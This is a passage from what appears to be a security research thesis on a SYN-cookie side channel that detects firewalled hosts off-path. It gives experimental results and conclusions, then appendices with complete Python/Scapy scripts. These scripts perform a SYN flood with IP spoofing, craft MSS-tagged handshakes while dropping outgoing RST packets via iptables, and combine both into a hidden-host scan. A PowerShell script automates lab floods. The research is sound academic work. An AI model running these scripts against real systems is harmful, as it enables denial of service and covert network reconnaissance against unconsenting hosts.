(See Sect. 3.1)

• -mss 1320: the Maximum Segment Size encoded in the initial SYN Packet sent

from the Client Host to the Idle Host for SYN Cookies detection.

The output of this command can yield two different results, based on whether the Target

Host is alive or not.

1. If the Target Host is alive, it will respond with RST packets to all incoming SYN-

ACKs, effectively clearing any half-open connection spuriously instantiated at the

idle host by the Attacker. The resulting console output is:
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$ sudo python3 syn_backlog_cookies_scan.py 192.168.1.28 -s
192.168.1.212 -p 80 -c 560 -mss 1320↪→

Launching SYN FLooding attack against IP 192.168.1.28 and port 80
SYN Cookies are NOT ENABLED, IP 192.168.1.212 is alive --> MSS =

1320↪→

Figure 4.1: SYN Cookie Scan - Host Up

Fig.4.1 represents a Wireshark screenshot captured from the perspective of the

attacker, illustrating the most recent packet exchange between the Client Host and

the Idle Host. The upper portion of the packet capture showcases the last packets of

the SYN Flood Attack performed by the Client Host against the Idle Host, wherein

the client host spoofs the source IP address by assigning it the value of the target

host. In contrast, the lower part of the capture reveals the genuine establishment

of a full TCP connection (three-way handshake) between the Client Host and the

Idle host (using its real source IP address). By closely examining the highlighted

rows it is possible to observe that a Maximum Segment Size (MSS) value of 1320 is

included in the first TCP segment with the SYN bit set. Since the idle host is alive,

the extracted MSS value from subsequently exchanged packets (upon connection

establishment) aligns with the one set in the initial SYN packet. This allows to

deterministically assert that SYN Cookies are not enabled at the Idle Host (Web
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Server).

2. On the other side, if the Target Host is not alive, no response occurs. This makes

the SYN Flood Attack effective, forcing the Idle host to resort to SYN Cookies as

countermeasure. The resulting console output is:

$ sudo python3 syn_backlog_cookies_scan.py 192.168.1.28 -s
192.168.1.212 -p 80 -c 560 -mss 1320↪→

Launching SYN FLooding attack against IP 192.168.1.28 and port 80
SYN Cookies are ENABLED, IP 192.168.1.212 is NOT alive --> MSS =

1320↪→

Figure 4.2: SYN Cookie Scan - Host Down

Fig.4.2 depicts a Wireshark screenshot captured from the perspective of the at-

tacker, illustrating the most recent packet exchange between the Client Host and

the Idle Host. The upper portion of the packet capture showcases the last packets of

the SYN Flood Attack performed by the Client Host against the Idle Host, wherein

the client host spoofs the source IP address by assigning it the value of the target

host. In contrast, the lower part of the capture reveals the genuine establishment

of a full TCP connection (three-way handshake) between the Client Host and the

Idle host (using its real source IP address). By focusing on the highlighted rows

it is possible to observe that the Maximum Segment Size (MSS) value of 1320 is

48



4 – Experimental Results

included in the first TCP segment with the SYN bit set. Notably, since the idle host

is not alive, after completing the three-way handshake and exchanging additional

data packets, the extracted MSS is equal to 1300, one among the msstab array

entries. This allows to deterministically state that SYN Cookies are enabled at the

Idle Host (Web Server).
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Conclusions

In the former part of this thesis we have undergone an extensive analysis of prior research

on (port) scanning. The approaches presented exploited several types of vulnerabilities,

ranging from global incrementing IPIDs [5],[7],[3],[4], to side channel targeting the SYN

Backlog Queue [4],[17], and ultimately to an advanced IPID generation scheme [16],[15].

While the techniques discussed in those papers were interesting proposals to perpetrate

port scanning attacks, they either used outdated techniques or involved complex heuris-

tics, making them impractical in today’s contexts. Hence, the second part of the thesis

focuses on a new scanning methodology, aiming to identify hosts hidden behind firewalls,

whose access is granted only to devices on the internal protected network.

The new approach builds upon two significant contributions: one by Ensafi et al.

[6] [8] and the other one by Zhang et al.[17]. Their work has been extended thanks

to the identification of a novel side channel targeting SYN Cookies, where, due to size

constraints, the value of the Maximum Segment Size (MSS) is casted to one among the

values in the msstab array (See Sect. 3.2 or Sect. 2.2.4). Contributions were made such

that a methodology to deterministically estimate the size of the SYN backlog queue

was developed (Sections 3.1 and 3.2), as well as developing a scanning methodology

able to provide stronger theoretical guarantees with respect to hidden host detection. In

particular, the new approach does no longer rely on a probabilistic study on the number

of evicted entries ("canaries") from the SYN Backlog queue or other unknown factors

(such as the number of SYN-ACK re-transmissions), instead it relies on the retrieved

MSS value from packets’ exchanges with the Idle Host.
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The proposed approach offers several advantages. Firstly, it avoids making assump-

tions about the use of global incrementing IPIDs, which nowadays is strongly discouraged

behaviour. Then, unlike standard port scanning methods or Idle Scans, where the at-

tacker is required to send packets directly to the target host, this approach only requires

interaction with the Idle Host, making it invariant with respect to subnet and firewall

limitations. Consequently, the attacker can infer information off-path. Lastly, there is

no need to tightly estimate the dimension of the SYN Backlog queue, as required by

previous approaches. This new method eliminates such constraints.

Disadvantages come from the fact that performing this attack might rise warnings on

kernel logs, impacting the stealthiness of the scan.

Future Work may involve adapting the existing framework to devise a new port scan

approach. This approach would be very similar to the one proposed by [6], but it would

leverage the novel side channel recently discovered.
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SYN Flood Attack Script

Listing A.1: SYN Flood Attack

1 #!/usr/bin/python
2

3 # SYN Flooding Attack script
4

5

6 import argparse
7 from scapy.all import *
8

9 parser = argparse.ArgumentParser(
10 prog="SYN Flood",
11 description="""Performs the notorious SYN
12 Flood Attack against a target
13 victim""")
14

15 parser.add_argument('dstIP') # positional argument
16 parser.add_argument('-s', '--srcIP', type = str, required = False)
17 parser.add_argument('-p', '--dstTCPport', type = int, required = True)
18 parser.add_argument('-c', '--count', type = int, required = True)
19

20

21

22 def syn_flood (src_ip, dst_ip, dst_port, count):
23

24 # forge IP packet
25 if src_ip != None:
26 ip = IP(src=src_ip, dst=dst_ip)
27 # or if you want to perform IP Spoofing (will work as well)
28 # ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
29 else:
30 ip = IP(src=RandIP(), dst=dst_ip)
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31

32 # forge a TCP SYN packet with a random source port
33 # and the target port as the destination port
34 tcp = TCP(sport = RandShort(), dport=dst_port, flags="S",
35 window=1500, seq=RandInt(), options=[('MSS', 1440)])
36

37 # add some flooding data (1KB in this case)
38 #raw = Raw(b"X"*1024)
39

40 # stack up the layers
41 p = ip / tcp #/ raw
42 # p.show2()
43

44 # send the constructed packet "count" times
45 print(f"Launching SYN FLooding attack against IP { dst_ip} and port

{ dst_port} ")↪→

46 send(p, verbose=0, count=count)
47

48

49 if __name__ == "__main__":
50 args = parser.parse_args()
51 syn_flood(args.srcIP, args.dstIP, args.dstTCPport, args.count)
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SYN Cookies Activation

Script

Listing B.1: SYN Cookies Activation

1 #!/usr/bin/python
2

3

4 # Custom Three-Way Handshake where the SYN Packet has a
5 # special MSS value to evaluate if SYN Cookies are enabled
6 # or not at the Server side.
7

8 # It is required to modify firewall rules as follows:
9 # - iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP

10

11 # To test the validity of this script (in a controlled
12 # environment) it is possible to always enable SYN
13 # Cookies at the Server, so ease the validation process
14 # of this methodology.
15 # To do this execute the following command (will not
16 # survive reboot):
17 # - sysctl -w -n net.ipv4.tcp_syncookies=2
18

19

20 import argparse
21 from scapy.all import *
22 import subprocess
23 import sys
24

25

26 parser = argparse.ArgumentParser(prog='Test for SYN Cookies
Activation',↪→
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27 description="""Mimics a legitimate
connection↪→

28 towards a server and inspects the TCP
header-↪→

29 -lenght of the response packets. This
allows↪→

30 to determine if SYN Cookies are
enabled at the↪→

31 server side or not.""")
32

33 parser.add_argument('dstIP') # positional argument
34 parser.add_argument('-p', '--dstTCPport', type = int)
35 parser.add_argument('-mss', '--MSS', type = int)
36

37

38 def send_receive (dst_ip, dst_port, mss):
39 # Forge IP packet with "d_ip" as destination IP address
40 # ip = IP(src="10.0.2.16", dst=d_ip) # VM
41 # ip = IP(src="172.21.253.208", dst=d_ip) # WSL
42 ip = IP(dst=dst_ip)
43

44 # Forge a TCP SYN packet with a random source port
45 # and "d_port" as the destination port
46 tcp = TCP(sport = RandShort(), dport=dst_port,
47 flags="S", seq=RandInt(),
48 options=[('MSS', mss)])
49

50 # stack up the layers
51 SYN = ip / tcp
52

53 # Start sniffing Traffic
54 t = AsyncSniffer(filter=f"host { dst_ip} and tcp port { dst_port} ",
55 count=12, timeout=7)
56 t.start()
57

58 # Sends the constructed SYN packet (at layer 3)
59 # and returns only the first answer
60 SYNACK = sr1(SYN, verbose=0)
61

62 # Answering to the SYN-ACK packet
63 if SYNACK.sprintf('%TCP.flags%') == "SA":
64 ACK = send (ip / TCP(sport=SYNACK.dport, dport=dst_port,
65 flags='A', seq=SYNACK.ack,
66 ack=SYNACK.seq + 1), verbose=0)
67

68 # Asking for Web Resources
69 payload = "GET / \r\n\r\n"
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70 PUSHACK = TCP(sport=SYNACK.dport, dport=dst_port, flags='PA',
71 seq=SYNACK.ack, ack=SYNACK.seq + 1)
72 # seq=SYNACK.ack + len(payload) --> Doesn't work
73 send(ip / PUSHACK / Raw(load=payload), verbose=0)
74

75 # End the capture of the packets
76 t.join() # this will hold the packet capture until conditions
77 # are met (number of packets, timeout or filter match)
78 capture = t.results
79 # capture.summary()
80

81 # capture.nsummary(lfilter = lambda pkt:
pkt.sprintf('%TCP.flags%') == "PA")↪→

82 RESPONSE = capture.filter(lambda pkt:
pkt.sprintf('%TCP.flags%') == "PA")↪→

83

84

85 # Terminate Server connection (Either FINACK-ACK or RST)
86 # FINACK= sr1(ip / TCP(sport=SYNACK.dport, dport=d_port,
87 # flags="FA", seq=RESPONSE[-1][0].ack,
88 # ack=RESPONSE[-1][0].seq + 1,

window=0),↪→

89 # verbose=0)
90

91 # LASTACK= send (ip / TCP(sport=SYNACK.dport, dport=d_port,
92 # flags="A", seq=FINACK.ack + 1,
93 # ack=FINACK.seq, window=0),

verbose=0)↪→

94

95 RST = send(ip / TCP(sport=SYNACK.dport, dport=dst_port,
96 flags="R", seq=RESPONSE[-1][0].ack,
97 ack=RESPONSE[-1][0].seq + 1),
98 verbose=0)
99 else:

100 # If RST packet or no answer is received
101 # (port filtered, RST dropped by firewall)
102 print(f"Port { dst_port} is closed or filtered for this host

(IP = { SYN.src} )!")↪→

103 return None
104

105 return RESPONSE
106

107 def find_MSS(packet_list):
108 # This retrieves the TCP Payload lenght (MSS).
109 tcp_payload_len = len(packet_list[1][0][TCP].payload)
110 # if packet_list[1][0].haslayer(Padding):
111 # tcp_payload_len -= len(packet_list[1][0][Padding])
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112

113 # Due to a "problem" with the packet capture at the receiving
114 # end (actually a performance improvement)(LRO - Large
115 # Receive Offload) multiple packets get aggregated, thus causing
116 # a wrong evaluation of the payload dimension.
117 # Since there is no way of knowing in advance how many packets
118 # have been aggregated (varies with the packet dimension),
119 # the captured MSS is reported as is.
120 MSS = int(tcp_payload_len)
121

122 return MSS
123

124

125 if __name__ == "__main__":
126 args = parser.parse_args()
127 subprocess.run("iptables" " -A OUTPUT" " -p tcp"\
128 " --tcp-flags RST RST" " -j DROP",
129 shell=True, check=True)
130

131 pkt_list = send_receive(args.dstIP, args.dstTCPport, args.MSS)
132

133 if pkt_list != None: # Server answered back to the client
134 MSS = find_MSS(pkt_list)
135 syn_cookies_enabled = MSS in [536,1300,1440,1460]
136

137 if (syn_cookies_enabled):
138 print(f"SYN Cookies are ENABLED, TCP port

{ args.dstTCPport} " +↪→

139 f"is NOT filtered for IP { args.srcIP if args.srcIP !=
None else get_if_addr(conf.iface)} . --> MSS =
{ MSS} ")

↪→

↪→

140 else:
141 print(f"SYN Cookies are NOT ENABLED, TCP port

{ args.dstTCPport} " +↪→

142 f"is filtered for IP { args.srcIP if args.srcIP != None
else get_if_addr(conf.iface)} . --> MSS =
{ MSS} ")

↪→

↪→

143 else:
144 # If RST packet or no answer is received
145 # (port is filtered, RST dropped by firewall)
146 sys.exit()
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SYN Cookie Scan Script

Listing C.1: SYN Cookie Scan

1 #!/usr/bin/python
2

3 # SYN Cookie Backlog Scan
4

5

6 import argparse
7 import subprocess
8 import sys
9 from scapy.all import *

10 from syn_flood import syn_flood
11 from test_syn_cookies_enabled import send_receive, find_MSS
12

13

14 parser = argparse.ArgumentParser(
15 prog="SYN Cookie Backlog Scan",
16 description="""Performs a Scanning Attack
17 aiming at evaluating the presence of

hosts hidden behind firewalls)""")↪→

18

19 parser.add_argument('dstIP') # positional argument
20 parser.add_argument('-s', '--srcIP', type = str, required = False)
21 parser.add_argument('-p', '--dstTCPports', type = int, nargs='+',
22 required = True)
23 parser.add_argument('-c', '--count', type = int, required = True)
24 parser.add_argument('-mss', '--MSS', type = int, required = True)
25

26

27

28 if __name__ == "__main__":
29 args = parser.parse_args()
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30

31 for dstTCPport in args.dstTCPports:
32 syn_flood(args.srcIP, args.dstIP, dstTCPport, args.count)
33

34 subprocess.run("iptables" " -A OUTPUT" " -p tcp"\
35 " --tcp-flags RST RST" " -j DROP",
36 shell=True, check=True)
37

38 pkt_list = send_receive(args.dstIP, 80, args.MSS)
39

40 if pkt_list != None: # Server answered back to the client
41 MSS = find_MSS(pkt_list)
42

43 syn_cookies_enabled = MSS in [536,1300,1440,1460]
44

45 if (syn_cookies_enabled):
46 print(f"SYN Cookies are ENABLED, " +
47 f"IP { args.srcIP if args.srcIP != None else

get_if_addr(conf.iface)} is NOT alive. -->
MSS = { MSS} ")

↪→

↪→

48 else:
49 print(f"SYN Cookies are NOT ENABLED, " +
50 f"IP { args.srcIP if args.srcIP != None else

get_if_addr(conf.iface)} is alive. --> MSS =
{ MSS} ")

↪→

↪→

51 else:
52 sys.exit()
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SYN Cookies Activation

Threshold in Different

Hardware Configurations

Script

Listing D.1: Detect SYN Cookies Activation Threshold

1 # The script performs 10 times the SYN Flooding attack
2 # toward each configuration of the server VM.
3 # This is done to verify/check if the identified activation
4 # threshold for the SYN Cookies is the correct one, and the
5 # selected number of SYN packets sent is sufficient.
6

7 $env:PATH = $env:PATH + ";C:\Program Files\Oracle\VirtualBox"
8 # $date = $(Get-Date -Format u)
9 $date = [DateTime]::Now.ToString("yyyyMMdd-HHmmss")

10

11 VBoxManage startvm "Attacker" --type headless
12 Start-Sleep -Seconds 80
13

14 $RAM_values = @(2048, 3072, 6144)
15 foreach($ramvalue in $RAM_values){
16 VBoxManage modifyvm "Server_1" --memory $ramvalue
17

18 for ($var = 1; $var -le 10; $var++) {
19 VBoxManage startvm "Server_1" --type headless
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20 Start-Sleep -Seconds 80 # Set this value high enough so to
avoid launching the following command while still booting↪→

21 # The "echo" command is added to avoid inclusion of trailing
newline character while piping (seems unavoidable in
Powershell)

↪→

↪→

22 Write-Output "sudo python3 /path/to/syn_flood.py 10.0.2.15 -p
80 -c 625 && echo SYN Flooding Attack Launched" | ssh
root@127.0.0.1 -p 2022

↪→

↪→

23 Start-Sleep -Seconds 10
24 # Export LOG file from Server
25 if ( ($var -eq 10) -and ($ramvalue -eq 6144)){
26 # The "echo" command is added to avoid inclusion of

trailing newline character while piping (seems
unavoidable in Powershell)

↪→

↪→

27 Write-Output "journalctl -t kernel > ~/logs.txt && echo
Saving Kernel logs to file" | ssh root@127.0.0.1 -p
3022

↪→

↪→

28 scp -P 3022 root@127.0.0.1:~/logs.txt
"path\to\local\folders\and\file"↪→

29 }
30 Write-Output "Powering Down Server_1 VM"
31 VBoxManage controlvm "Server_1" acpipowerbutton
32 Start-Sleep -Seconds 25
33 }
34 }
35

36 # Shut Down the Attacker VM
37 VBoxManage controlvm "Attacker" acpipowerbutton
38 # Setting VM RAM to the default value
39 VBoxManage modifyvm "Server_1" --memory 2048
40
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